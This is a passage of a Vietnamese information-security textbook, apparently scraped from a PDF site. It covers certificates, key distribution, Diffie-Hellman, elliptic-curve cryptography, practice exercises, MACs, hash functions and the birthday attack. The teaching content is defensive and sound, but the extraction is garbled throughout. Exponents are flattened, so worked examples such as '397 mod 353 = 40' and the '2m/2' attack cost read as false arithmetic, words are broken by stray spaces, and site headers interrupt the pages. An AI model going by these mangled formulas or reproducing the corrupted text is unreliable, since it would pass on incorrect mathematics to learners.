Chứ ng nhận khoá công khai Chứng nhận cho phép trao đổi khoá không cần truy cậ p thờ i gian thực đến Chủ quyền thư mục khoá công khai. Để làm việc đó chứng nhận trói danh tính của ngườ i sử dụng vớ ikhoá công khai của anh ta và “đóng dấu và giấy chứng nhận” đó để tránh giả mạo. Cácthông tin đi kèm thông thườ ng là chu k ỳ kiểm định, quyền sử dụng, thờ i hạn,… Nội dung trên đượ c ký bở i khoá riêng tin cậy của Chủ quyền chứng nhận (CA, CertificateAuthority). Do khoá công khai của CA đượ c thông báo r ộng rãi, nên chứng nhận đó cóthể đượ c kiểm chứng bớ i một ngườ i nào đó biết khoá công khai của Chủ quyền chứng

nhận.

Page 79: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 79/147

 - 79 -

V.3.3 Phân phối công khai các khoá mật Nói chung có thể sử dụng các phươ ng pháp trên để nhận đượ c khoá công khai của ngườ iđịnh trao đổi thông tin. Khoá công khai đó dùng cho mục đích mã hoá, giải mã hoặc xácnhận thông tin là của đối tác. Nhưng các thuật toán khoá công khai chậm, nên giá để bảomật thông tin là đắt. Do đó thông thườ ng dùng khoá đối xứng để mã hoá và giải mã nộidung bản tin, mà còn đượ c gọi là khoá phiên hay khóa k ỳ (section key). Có một số cáchthỏa thuận khoá phiên phù hợ  p giữa hai ngườ i sư dụng.

Phân phối khoá mật đơ n giản•  Đượ c đề xuất bở i Merkle vào năm 1979o  A tạo ra một cặ p khoá công khai mớ i tạm thờ i

o  A gửi B một khoá công khai và danh tính của họ o  B tạo ra khoá phiên và gửi nó cho A sử dụng khoá công khai đượ c cung cấ po  A giải mã khoá phiên và cả hai cùng dùng nó.

•  Vấn đề nằm ở chỗ, k ẻ thù có thể ngăn hoặc đóng giả cả hai bên của thủ tục

Nếu có khoá công khai thì khoá phiên đượ c trao đổi an toàn

Page 80: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 80/147

 - 80 -

V.3.4 Trao đổi khoá hỗn hợ p:Ta có thể k ết hợ  p sử dụng Trung tâm phân phối khoá để phân phối khoá phiên như trênmô hình máy chủ của IBM. Trung tâm chia sẻ khoá chính (master key) vớ i mỗi ngườ i sử dụng. Và phân phối khoá phiên sử dụng khoá chính vớ i Trung tâm. Sơ  đồ khoá công khaiđượ c dùng để phân phối khoá chính. Sơ  đồ ba lớ  p này đặc biệt hữu ích khi ngườ i sử dụng

 phân tán r ộng. Các yêu cầu căn bản của hệ thống là chất lượ ng thực hiện và sự tươ ngthích nền tảng.

V.4 Trao đổi khoá Diffie HellmanV.4.1 Yêu cầuTrao đổi khoá Diffie Hellman là sơ  đồ khoá công khai đầu tiên đượ c đề xuất bở i Diffie và Hellman năm 1976 cùng vớ i khái niệm khoá công khai. Sau này đượ c biếtđến bở i James Ellis (Anh), ngườ i đã đề xuất bí mật năm 1970 mô hình tươ ng tự. Đây là phươ ng pháp thực tế trao đổi công khai các khoá mật. Nó thúc đẩy việc nghiên cứu đề xuất các mã khoá công khai. Sơ  đồ đượ c sử dụng trong nhiều sản phẩm thươ ng mại.Là sơ  đồ trao đổi khoá mật dùng khoá công khai:

o  Không thể dùng để trao đổi mẩu tin bất k ỳ.o  Tuy nhiên nó có thể thiết lậ p khoá chung.o  Chỉ có hai đối tác biết đến.o  Giá tr ị khoá phụ thuộc vào các đối tác (và các thông tin về khoá công khai và

khoá riêng của họ).o  Dựa trên phép toán lũy thừa trong tr ườ ng hữu hạn (modulo theo số nguyên tố 

hoặc đa thức) là bài toán dễ.o  Độ an toàn dựa trên độ khó của bài toán tính logarit r ờ i r ạc (giống bài toán

 phân tích ra thừa số) là bài toán khó.

V.4.2 Khở i tạo Diffie Hellman•  Mọi ngườ i dùng thỏa thuận dùng tham số chung:o  Số nguyên tố r ất lớ n q hoặc đa thức.

o  α là căn nguyên tố của mod q.•  Mỗi ngườ i dùng (A chẳng hạn) tạo khoá của mình:

o  Chọn một khoá mật (số) của A: xA < q 

o  Tính khoá công khai của A: yA = αxA mod q.

o  Mỗi ngườ i dùng thông báo công khai khoá của mình yA.

V.4.3 Trao đổi khoá Diffie Hellman•  Khoá phiên dùng chung cho hai ngườ i sử dụng A, B là K AB 

KAB = αxA.xB mod q

= yAxB mod q (mà B có thể tính) 

= yBxA mod q (mà A có thể tính) 

•  K AB đượ c sử dụng như khoá phiên trong sơ  đồ khoá riêng giữa A và B•  A và B lần lượ t trao đổi vớ i nhau, họ có khoá chung K AB cho đến khi họ chọn khoá

mớ i. •  K ẻ thám mã cần x, do đó phải giải tính logarit r ờ i r ạc

Page 81: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 81/147

 - 81 -

Ví dụ:Hai ngườ i sử dụng Alice & Bob muốn trao đổi khoá phiên:• Đồng ý chọn số nguyên tố q=353 và α=3• Chọn các khoá mật ngẫu nhiên:

A chọn xA=97, B chọn xB=233• Tính các khoá công khai:

yA=397 mod 353 = 40 (Alice)

yB=3233 mod 353 = 248 (Bob)• Tính khoá phiên chung:

K AB= yBxA mod 353 = 24897 = 160 (Alice)

K AB= yAxB mod 353 = 40233 = 160 (Bob)

V.5 Mã đườ ng cong Elip

Để đảm bảo tính an toàn đa số mã công khai sử dụng số học số nguyên lớ n hoặc đa thứcvớ i các số nguyên r ất lớ n hoặc đa thức bậc cao. Do đó buộc phải tải phần quan tr ọng vàokho nhớ  để xử lý khoá và mẩu tin. Làm như vậy vừa tốn bộ nhớ vừa dễ mất an toàn. Để khắc phục điều đó mà vẫn đảm bảo độ an toàn của mã công khai, ngườ i ta đã đề xuấtcách khác là dùng đườ ng cong Elip. Ở đây các phép toán đượ c thực hiện trên các xâu bitcó kích thướ c nhỏ hơ n.

V.5.1 Mã đườ ng cong Elip thự c•  Đườ ng cong Elip đượ c định ngh ĩ a bở i phươ ng trình vớ i 2 biến x, y và hệ số thực•  Xét đườ ng cong Elip bậc 3 dạng:

y 2 = x 3 + ax + b 

trong đó x, y, a, b là các số thực và định ngh ĩ a thêm điểm O.•  Có phép cộng đối vớ i đườ ng cong Elip

o  Về hình học tổng của P và Q là điểm đối xứng của giao điểm R o  Điểm O đóng vai trò là đơ n vị đối vớ i phép cộng và nó là điểm vô cực.

Page 82: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 82/147

 - 82 -

V.5.2 Đườ ng cong Elip hữ u hạn•  Mã đườ ng cong Elip sử dụng đườ ng cong Elip mà các biến và hệ số là hữu hạn.•  Có hai họ đượ c sử dụng nói chung:

o  Đườ ng cong nguyên tố Ep(a,b) đượ c xác định trên Zp 

  Sử dụng các số nguyên modulo số nguyên tố   Tốt nhất trong phần mềm

o  Đườ ng cong nhị phân E2n(a,b)xác định trên GF(2n)

  Sử dụng đa thức vớ i hệ số nhị phân  Tốt nhất trong phần cứng 

V.5.3 Đườ ng cong Elip (ECC – Elliptic Curve Cryptography)Trong ECC phép cộng giống phép nhân của modulo và phép cộng lặ p trong ECC (tức là

 phép nhân một điểm vớ i một hệ số) giống như phép lũy thừa của modulo.Bài toán sau đây trong ECC là bài toán khó tươ ng đươ ng vớ i bài toán logarit r ờ i r ạc:

o  Giả sử cho Q = k.P, trong đó P, Q là 2 điểm của đườ ng cong Elipo  Dễ dàng tính Q, nếu cho tr ướ c P, k o  R ất khó tìm k, nếu cho tr ướ c P, Q. Bài toán tìm hệ số k chính là bài toán khó

 bài toán logarit đườ ng cong Elip. Mã đườ ng cong Elip dựa trên bài toán khómột chiều này để dấu khoá riêng.

Ví dụ: Xét E11(1,6).

Các phép cộng sau đây thực hiện trong Modulo 11.

V.5.4 ECC Diffie HellmanChẳng hạn dựa trên cơ sở  độ khó của bài toán tìm hệ số liên hệ giữa hai điểm như trên,ngườ i ta đưa ra sơ  đồ trao đổi khoá ECC Diffie Hellman giồng như trao đổi khoá DiffieHelman thông thườ ng. Ở đây phép lũy thừa trong Modulo thông thườ ng đượ c thay bằng phép nhân một điểm vớ i hệ số trong ECC và phép logarit r ờ i r ạc đượ c thay bằng phéptoán cho 2 điểm tìm hệ số liên hệ giữa chúng. Bài toán sau là bài toán khó xác định độ antoàn của sơ  đồ trao đổi công khai khoá chung.

Page 83: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 83/147

 - 83 -

•   Nhóm ngườ i dùng chọn chung một đườ ng cong Elip phù hợ  p Ep(a,b) 

•  Chọn điểm cơ sở   G=(x1,y1) vớ i bậc lớ n, tức là n lớ n sao cho nG = O 

•  Hai ngườ i sử dụng A và B chọn khoá riêng của mình: nA< n, nB< n

•  Sau đó họ tính các khoá công khai của A và B: PA=nA×G,PB=nB×G. Và cho công

 bố công khai PA và PB.•  Hai ngườ i sử dụng dùng chung khoá mật: K=nA×nB×G. 

•  Mỗi ngườ i đều có cách tính khoá chung đó bằng cách lấy khoá riêng của mình nhânvớ i khoá công khai của đối tác: K=nA×PB, K=nB×PA

V.5.5 ECC mã và giải mã

Có một số cách dùng đườ ng cong Elip để tạo mã công khai, ta xét cách đơ n giản nhấtsau:Tr ướ c hết nhóm ngườ i sử dụng cần phải thống nhất chọn một đườ ng cong Elip phù hợ  pvà một điểm G giống như trong trao đổi khoá ECC Diffie – Hellman. Mỗi bản tin Mđượ c coi như một điểm PM trên đườ ng cong Elip đó.•  Mỗi ngườ i sử dụng chọn một khoá riêng cho mình nA < n

•  Và tính khoá công khai để công bố PA=nA×G

•  ECC mã bản tin M tươ ng ứng vớ i điểm PM trên đườ ng cong Elip bằng cách tạo bảnmã CM là cặ p điểm trên đườ ng cong Elip đó như sau:CM={kG, PM+k Pb}, k là số ngẫu nhiên 

•  Ta thực hiện phép toán trên hai điểm của CM để giải mã tìm PM PM+kPb–nB(kG ) = PM+k(nBG )–nB(kG ) = PM 

An toàn ECC

Dựa trên bài toán tìm hệ số liên hệ giữa hai điểm trên đườ ng cong Elip gọi là bài toánlogarit trên đườ ng cong Elip. Phươ ng pháp nhanh nhất giải bài toán trên đã biết là“Pollard rho method”. Bài toán này tươ ng đươ ng vớ i bài toán phân tích ra thừa số,nhưng có thể sử dụng kích thướ c khoá nhỏ hơ n nhiều, chảng hạn so vớ i RSA. Ngườ i tachứng minh đượ c r ằng vớ i độ dài khoá bằng nhau các tính toán nói chung là tuơ ngđươ ng. Vậy vớ i độ an toàn như nhau ECC có nhiều ưu điểm về không gian lưu tr ữ vàtính an toàn đi kèm.

Page 84: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 84/147

 - 84 -

Bài tập

1.  Tính mã hoá RSA của bản ghi sau:

•   p=7, q=11, e = 3, NSD A chọn khoá riêng xA = 7, tính khoá công khai của A•   NSD B gửi bản tin M = 5 và mã bằng khoá công khai của A•   NSD A giải mã sử dụng định lý phần dư Trung Hoa2.  Tính mã hoá RSA của bản ghi sau:•   p=11, q=13, e = 7, NSD A chọn khoá riêng xA = 9, tính khoá công khai của A•   NSD B gửi bản tin M = 7 và mã bằng khoá công khai của A•   NSD A giải mã sử dụng định lý phần dư Trung Hoa3.  Tính mã hoá RSA của bản ghi sau:•   p=23, q=31, NSD A chọn khoá riêng xA = 13, tính khoá công khai của A•   NSD B gửi bản tin M = 20 và mã bằng khoá công khai của A•   NSD A giải mã sử dụng định lý phần dư Trung Hoa

4.  Trao đổi khoá Difie Hellman:•  Chọn số nguyên tố dung chung q = 131 và α = 7,•   NSD A chọn khoá riêng xA = 11•   NSD B chọn khoá riêng xB = 19•  Tính khoá công khai của A và B•   Nêu cách A va B tính khoá mật dùng chung giữa A và B5.  Trao đổi khoá Difie Hellman:•  Chọn số nguyên tố dung chung q = 131 và α = 7,•   NSD A chọn khoá riêng xA = 11•   NSD B chọn khoá riêng xB = 19

•  Tính khoá công khai của A và B•   Nêu cách A va B tính khoá mật dùng chung giữa A và B6.  Mã đườ ng cong Elip•  Cho hệ đườ ng cong Elip

y2 = (x3 + x + 1) mod 13•  Vẽ đồ thị đườ ng cong trên.•  Cho G = (4, 2)•   NSD A chọn khoá riêng xA = 2•   NSD B chọn khoá riêng xB = 3•  Tính khoá công khai của A và B•   Nêu cách A va B tính khoá mật dùng chung giữa A và B

7.  Mã đườ ng cong Elip•  Cho hệ đườ ng cong Elip

y2 = (x3 + x + 1) mod 23•  Cho G = (3, 10)•   NSD A chọn khoá riêng xA = 2•   NSD B chọn khoá riêng xB = 3•  Tính khoá công khai của A và B

Page 85: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 85/147

 - 85 -

•   Nêu cách A va B tính khoá mật dùng chung giữa A và B8.  Mã Elgamal:•  Cho hệ (G, α, β) trong đó G là một nhóm vớ i phép nhân và α, β là hai phần tử 

của G.•  Công khai G, α, β 

•  Giữ bí mật luỹ thừa nguyên a thoả mãn: αa

= β (để tìm đượ c a phải giải bàitoán logarit r ờ i r ạc là bài toán khó)•  Mã hoá mẫu tin M bằng cách chọn ngẫu nhiên số k và tính:

C=E(M) = (y1, y2) = (αk  , M.βk )

•  Giải mã: C = y2 . (y1a)-1 

a) Áp dụng ví dụ trên cho p = 79, α = 5, a = 3, M = 19 và k = 4. Ở  đây nhóm vớ i  phép nhân là Z p, tính β. Tìm bản mã C của bản rõ M và giải mã

 b) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở  đây nhómvớ i phép nhân là Z p, tính β. Tìm bản mã C của bản rõ M và giải mã.

c) Áp dụng ví dụ trên cho p = 191, α = 7, a = 5, M = 29 và k = 9. Ở  đây nhómvớ i phép nhân là Z p, tính β. Tìm bản mã C của bản rõ M và giải mã.

9. Nêu thuật toán tính lũy thừa của một cơ số cho tr ướ c. Đánh giá độ phức tạ p củathuật toán đó.

10. Tại sao có thể nói nếu dùng Định lý Trung Hoa để giải mã thì tốc độ giải mãnhanh gấ p 4 lần không dùng nó.

Page 86: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 86/147

 - 86 -

CHƯƠ NG 6:

XÁC THỰ C MẪU TIN VÀ CÁC HÀM HASH

VI.1 Xác thự c mẩu tinVI.1.1 Các khái niệm

Xác thực mẩu tin liên quan đến các khía cạnh sau khi truyền tin trên mạngo  Bảo vệ tính toàn vẹn của mẩu tin: bảo vệ mẩu tin không bị thay đổi hoặc cócác biện pháp phát hiện nếu mẩu tin bị thay đổi trên đườ ng truyền. 

o  Kiểm chứng danh tính và nguồn gốc: xem xét mẩu tin có đúng do ngườ i xưngtên gửi không hay một k ẻ mạo danh nào khác gửi. 

o  Không chối từ bản gốc: trong tr ườ ng hợ  p cần thiết, bản thân mẩu tin chứa cácthông tin chứng tỏ chỉ có ngườ i xưng danh gửi, không một ai khác có thể làmđiều đó. Như vậy ngườ i gửi không thể từ chối hành động gửi, thờ i gian gửi vànội dung của mẩu tin. 

 Ngoài ra có thể xem xét bổ sung thêm các yêu cầu bảo mật như mã hoá. Vớ i mong muốnđáp ứng các yêu cầu trên, có 3 hàm lựa chọn sau đây đượ c sử dụng:

o  Mã mẩu tin bằng mã đối xứng hoặc mã công khai.o  Mã xác thực mẩu tin (MAC): dùng khoá và một hàm nén mẩu tin cần gửi để nhận đượ c một đặc tr ưng đính kèm vớ i mẩu tin và ngườ i gửi đó.

o  Hàm hash (hàm băm) là hàm nén mẩu tin tạo thành “dấu vân tay” cho mẩu tin.Các yêu cầu bảo mật khi truyền mẩu tin trên mạng.Tìm các biện pháp cần thiết để chống đối lại các hành động phá hoại như sau:

o  Để lộ bí mật: giữ bí mật nội dung mẩu tin, chỉ cho ngườ i có quyền biết.o  Thám mã đườ ng truyền: không cho theo dõi hoặc làm trì hoãn việc truyền tin.o  Giả mạo: lấy danh ngh ĩ a ngườ i khác để gửi tin.o  Sửa đổi nội dung: thay đổi, cắt xén, thêm bớ t thông tin.o  Thay đổi trình tự các gói tin nhỏ của mẩu tin truyền.

o  Sửa đổi thờ i gian: làm trì hoãn mẩu tin.o  Từ chối gốc: không cho phép ngườ i gửi từ chối trách nhiệm của tác giả mẩutin.

o  Từ chối đích: không cho phép ngườ i nhận phủ định sự tồn tại và đến đích củamẩu tin đã gửi.

VI.1.2 Mã mẩu tin•  Mã mẩu tin bản thân đã cung cấ p một phần tính xác thực, vì khoá đượ c chia sẻ giữa

ngườ i gửi và ngườ i nhận cũng như việc thay đổi nội dung cũng không dễ dàng thựchiện nếu không có khoá.

•  Cụ thể nếu mã đối xứng đượ c sử dụng thì ngườ i nhận biết ngườ i gửi phải tạo ra mẩutin, vì chỉ có ngườ i gửi và ngườ i nhận biết đượ c khoá sử dụng.

 Ngườ i nhận có thể biết nội dung không bị sửa đổi, nếu mẩu tin có cấu trúc phù hợ  p,tính dư thừa và tổng kiểm tra để phát hiện bất cứ thay đổi nào.•   Nếu khoá công khai đượ c sử dụng thì mã cung cấ p không đủ độ tin cậy về ngườ i gửi,

vì mọi ngườ i đều có thể biết khoá công khai của ngườ i nhận. Tuy nhiên nếu ngườ igửi ký mẩu tin sử dụng khoá riêng của họ và sau đó mã vớ i khoá công khai của ngườ inhận, thì khi đó đảm bảo cả tính bảo mật và xác thực của mẩu tin. Cần phải bổ sungcác biện pháp để phát hiện các mẩu tin đã bị làm hỏng. Việc sử dụng khoá riêng của

Page 87: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 87/147

 - 87 -

ngườ i gửi k ết hợ  p vớ i khoá công khai của ngườ i nhận có nhiều ưu việt, nhưng vớ i giá phải tr ả là chậm do dùng 2 mã khoá công khai trên mẩu tin.

VI.1.3 Mã xác thự c mẩu tin (MAC – Message Authentication Code)•  Sinh ra bở i một thuật toán mà tạo ra một khối thông tin nhỏ có kích thướ c cố định

o  Phụ thuộc vào cả mẩu tin và khoá nào đó.o  Giống như mã nhưng không cần phải giải mã.•  Bổ sung vào mẩu tin như chữ ký để gửi kèm theo làm bằng chứng xác thực.•   Ngườ i nhận thực hiện tính toán nào đó trên mẩu tin và kiểm tra xem nó có phù hợ  p

vớ i MAC đính kèm không.•  Tạo niềm tin r ằng mẩu tin không bị thay đổi và đến từ ngườ i gửi.

Các mã xác thực mẩu tin MAC cung cấ p sự tin cậy cho ngườ i nhận là mẩu tin không bị thay đổi và từ đích danh ngườ i gửi. Cũng có thể sử dụng mã xác thực MAC kèm theo vớ iviệc mã hoá để bảo mật. Nói chung ngườ i ta sử dụng các khoá riêng biệt cho mỗi MACvà có thể tính MAC tr ướ c hoặc sau mã hoá, tốt hơ n là thực hiện MAC tr ướ c và mã hoá

sau.Sử dụng MAC có nhượ c điểm là MAC phụ thuộc vào cả mẩu tin và cả ngườ i gửi, nhưngđôi khi chỉ cần xác thực mẩu tin và thông tin xác thực đó chỉ phụ thuộc mẩu tin để lưu tr ữ làm bằng chứng cho tính toàn vẹn của nó. Khi đó ngườ i ta sử dụng hàm Hash thay vìMAC. Cần lưu ý r ằng MAC không phải là chữ ký điện tử, vì cả ngườ i gửi và ngườ i nhậnđều biết thông tin về khoá.

Các tính chất của MACMAC là thông tin nén của mẩu tin k ết hợ  p vớ i khoá MAC = CK(M)

o   Nén bản tin M có độ dài tùy ýo  Sử dụng khoá mật K o  Tạo nên dấu xác thực có độ dài cố địnho  Là hàm nhiều - một, ngh ĩ a là có nhiều bản tin khác nhau nhưng có cùng

MAC. Tuy nhiên ta phải lựa chọn hàm MAC sao cho xác suất để các mẩu tincó ý ngh ĩ a có MAC trùng nhau là r ất nhỏ. Việc tìm đượ c các mẩu tin như vậylà r ất khó khăn

Yêu cầu đối vớ i MACTuỳ thuộc vào kiểu tấn công mà MAC phải có các tính chất khác nhau để chống đối lại. Nhưng nói chung MAC phải thỏa mãn các điều sau

Page 88: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 88/147

 - 88 -

o  Biết mẫu tin và MAC, không thể tìm đượ c mẩu tin khác có cùng MAC.o  Các MAC cần phải phân bố đềuo  MAC phải phụ thuộc như nhau vào tất cả các bit trong mẩu tin. Tức là khi

thay đổi một bit thông tin nào đó, MAC sẽ có những thay đổi kéo theo.

VI.1.4 Sử dụng mã đối xứ ng cho MAC•  Có thể dùng mã khối vớ i chế độ chuỗi móc nối bất k ỳ và sử dụng khối cuối cùng của

mã khối làm MAC của mẩu tin.•  Thuật toán xác thự c dữ liệu (DAA – Data Authentication Algorithm) là MAC

đượ c sử dụng r ộng rãi dựa trên chế độ DES-CBC, trong đóo  Sử dụng véc tơ ban đầu IV = 0 và bộ đệm 0 của block cuối cùngo  Và mã mẩu tin sử dụng chuẩn mã dữ liệu DES trong chế độ CBCo  Gửi lấy block cuối cùng như là MAC của cả mẩu tin

  hoặc M bit trái nhất (16 ≤ M ≤ 64) của khối cuối cùng•   Nhưng bây giờ MAC cuối cùng vớ i kích thướ c 64 bit cũng là quá nhỏ để đảm bảo an

toàn. Do đó ngườ i ta tìm cách tạo nên các MAC có kích thướ c lớ n hơ n.

VI.2 Các hàm Hash (hay còn gọi là hàm băm).VI.2.1 Các yêu cầu•   Nén mẩu tin bất k ỳ về kích thướ c cố định. Và giả thiết là hàm hash là công khai và

không dùng khoá. Hash chỉ phụ thuộc mẩu tin, còn MAC phụ thuộc thêm cả vàokhoá.

•  Hash đượ c sử dụng để phát hiện thay đổi của mẩu tin. Hash có thể sử dụng nhiềucách khác nhau vớ i mẩu tin, Hash thườ ng đượ c k ết hợ  p dùng để tạo chữ ký trên mẩutin.

Các tính chất của hàm Hash•  Hàm Hash tạo nên dấu vân tay (tức là thông tin đặc tr ưng) của một tệ p, mẩu tin haydữ liệu

h = H(M)

•   Nén mẩu tin có kích thướ c tùy ý về dấu vân tay có kích thướ c cố định. Hàm Hashđượ c giả thiết là công khai, mọi ngườ i đều biết cách sử dụng

Page 89: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 89/147

 - 89 -

Các yêu cầu của hàm Hash•  Có thể áp dụng cho mọi mẩu tin có kích thướ c tuỳ ý. Tuy nhiên phải tạo đầu ra h có

kích thướ c cố định, thườ ng là 128 bit đến 1024 bit.•  Dễ tính h = H(M)cho mọi mẫu tin M, hàm H tính toán nhanh, hiệu quả phụ thuộc

chặt vào mẩu tin M và không tính toán ngượ c lại.

•  Cho tr ướ c h không thể tìm đượ c (r ất khó) x sao cho H(x) = h.

Tính chất này gọi làtính chất một chiều, chiều tìm nghịch ảnh r ất khó khăn, tuy chiều tìm ảnh lại dễ dàng.

•  Cho x không thể tìm đượ c y sao cho H(y) = H(x). Đây là tính chất chống đỡ vachạm yếu, không tìm đượ c mẩu tin có cùng Hash vớ i mẩu tin đã cho. 

•  Và không thể tìm đượ c x, y sao cho H(y) = H(x). Đây gọi là tính chất chống đỡ vachạm mạnh, đây là yêu cầu cao hơ n tính chống đỡ va chạm yếu.

VI.2.2 Các hàm hash đơ n giảnCó một số đề xuất cho một số hàm hash đơ n giản. Chẳng hạn biểu diễn mẩu tin dướ idạng bit sau đó chia chúng thành các khối bit có kích thướ c bằng kích thướ c mong muốncủa Hash. R ồi dựa trên phép toán XOR các bit thông tin ở cùng vị trí tươ ng ứng của các

khối, k ết quả nhận đượ c là Hash của cả mẩu tin. Hàm hash trên là không an toàn vì đốivớ i mẩu tin bất k ỳ có thể tìm đượ c mẩu tin mà có cùng hàm hash.Cần phải có hàm mạnhhơ n, mà sẽ xét trong chươ ng sau.

Tấn công ngày sinh nhậtCó thể ngh ĩ hash 64 bit là an toàn, có ngh ĩ a là khó tìm đượ c bản tin có cùng hash. Nhưngkhông phải vậy vì nghịch lý ngày sinh nhật như sau: trong lớ  p có ít nhất bao nhiêu sinhviên, để xác suất có ít nhất 2 sinh viên trùng ngày sinh nhật là lớ n hớ n 0.5. Theo lýthuyết xác suất thống kê gọi số sinh viên ít nhất trong lớ  p là k, khi đó xác suất q để khôngcó 2 ngườ i nào trùng ngày sinh là tỷ số giữa cách chọn k ngày khác nhau trong 365 ngàytrên số cách chọn k ngày bất k ỳ trong 365 ngày. Vậy

q = Ck 365 / 365k  

Do đó, xác suất p để có ít nhất 2 ngườ i trùng ngày sinh là p = 1 – q = 1 - Ck 

365 / 365k  

Để p > 0.5 thì k > 22 hay k =23, cụ thể khi đó p = 0.5073.Khi chưa tính toán chi tiết chúng ta ngh ĩ là trong lớ  p phải có ít nhất khoảng 365/2 tức là184 sinh viên. Nhưng trên thực tế con số đó ít hơ n r ất nhiều chỉ cần 23 sinh viên, chính vìvậy ta gọi đây là nghịch lý ngày sinh nhật.Điều đó muốn nói lên r ằng, trong nhiều tr ườ ng hợ  p xác suất để hai mẩu tin có cùng bản

Hash là không nhỏ như chúng ta tưở ng.

Tấn công ngày sinh nhật hoạt động như sauo  K ẻ thám mã tạo ra 2m/2 biến thể của mẩu tin đúng mà tất cả đều có bản chất

ngữ ngh ĩ a như nhau, vớ i m ở  đây là độ dài của bản mã hash.o  K ẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin lừa dối,

tức là có ngữ ngh ĩ a ngượ c lại

Page 90: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 90/147

 - 90 -

o  Hai tậ p tin đượ c so sánh vớ i nhau để tìm cặ p có cùng bản hash (xác suất >=0.5 dựa vào nghịch lý ngày sinh nhật)

o   Ngườ i dùng ký vào mẩu tin đúng, sau đó bị thay thế bằng mẩu tin giả mà cũngcó chữ ký đúng.

•  K ết luận là cần phải dùng MAC có kích thướ c lớ n hơ n nữa.

VI.2.3 Mã khối như hàm Hash•  Có thể sử dụng mã khối như hàm Hash

o  Sử dụng H0 = 0 và bộ đệm không cho khối cuối cùngo  Tính Hi = EMi [Hi-1]

o  Và sử dụng khối cuối cùng như giá tr ị hàm hasho  Giống chế độ CBC nhưng không có khoá

•  Hash k ết quả quá nhỏ (64 bit)o  Cả vì tấn công sinh nhật tr ực tiế po  Cả tấn công ở giữa chừng

•  Các phươ ng án khác cũng dễ bị tấn công

K ẻ thám mã cũng có thể tạo ra 2m/2 biến thể khác nhau của mẩu tin

VI.2.4 Tính an toàn của hàm Hash và MAC.Giống như đối vớ i mã khối, hàm hash cũng có tấn công vét cạn, cụ thể: Hash chống vachạm mạnh có giá 2m/2, có ngh ĩ a là vớ i m là độ dài mã hash thì 2m/2 xác định sức mạnhcủa nó chống đối lại tấn công vét cạn. Ta cần lựa chọn m đủ lớ n để việc duỵêt tìm 2m/2

 phươ ng án là không khả thi. Có đề xuất Hash 128 bit cho MD5 phần cứng. Nhưng có thể tìm đượ c va chạm sau 24 ngày. Do đó có thể coi là hash 128 bit có thể có lỗ hổng, khôngan toàn, tốt hơ n dùng hash 160 bit.Tấn công vét cạn trên MAC khó hơ n, vì chúng đòi hỏi một cặ p MAC của mẩu tin đã biết,do nó phụ thuộc thêm vào khoá. Có thể tấn công vào không gian khoá (như là tìm khoá)

hoặc MAC. Độ dài ít nhất 128 bit MAC là cần thiết để đảm bảo an toànThám mã tấn công có cấu trúcGiống như mã khối muốn dùng tấn công vét cạn, có một số các tấn công thám mã là lựachọn tốt nhất hiện có. Chẳng hạn

   Nếu CVi = f[CVi-1, Mi]; H(M)=CVN  Thì ở  đây thông thườ ng khai thác sự va chạm của hàm f   Giống mã khối thườ ng gồm một số vòng lặ p  Khi đó tân công sử dụng các tính chất của các hàm vòng.

VI.3  Các thuật toán Hash và MACVI.3.1 Các thuật toán Hash và MAC

•  Hàm Hash: thực hiện việc nén mẩu tin vê kích thướ c cố định bằng cách xử lý mẩutin theo từng khối k ết hợ  p dùng một hàm nén nào đó và có thể sử dụng mã khối.

•  Mã xác thực mẩu tin (MAC): thực hiện tạo phần xác thực cho mẩu tin có kíchthướ c cố định, để cung cấ p tính toàn vẹn của mẩu tin và tính xác thực thông quaviệc sử dụng khoá. Có thể tiíen hành bằng cách sử dụng mã khối vớ i chế độ mócnối hoặc hàm Hash.

Cấu trúc thuật toán Hash

Page 91: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 91/147

 - 91 -

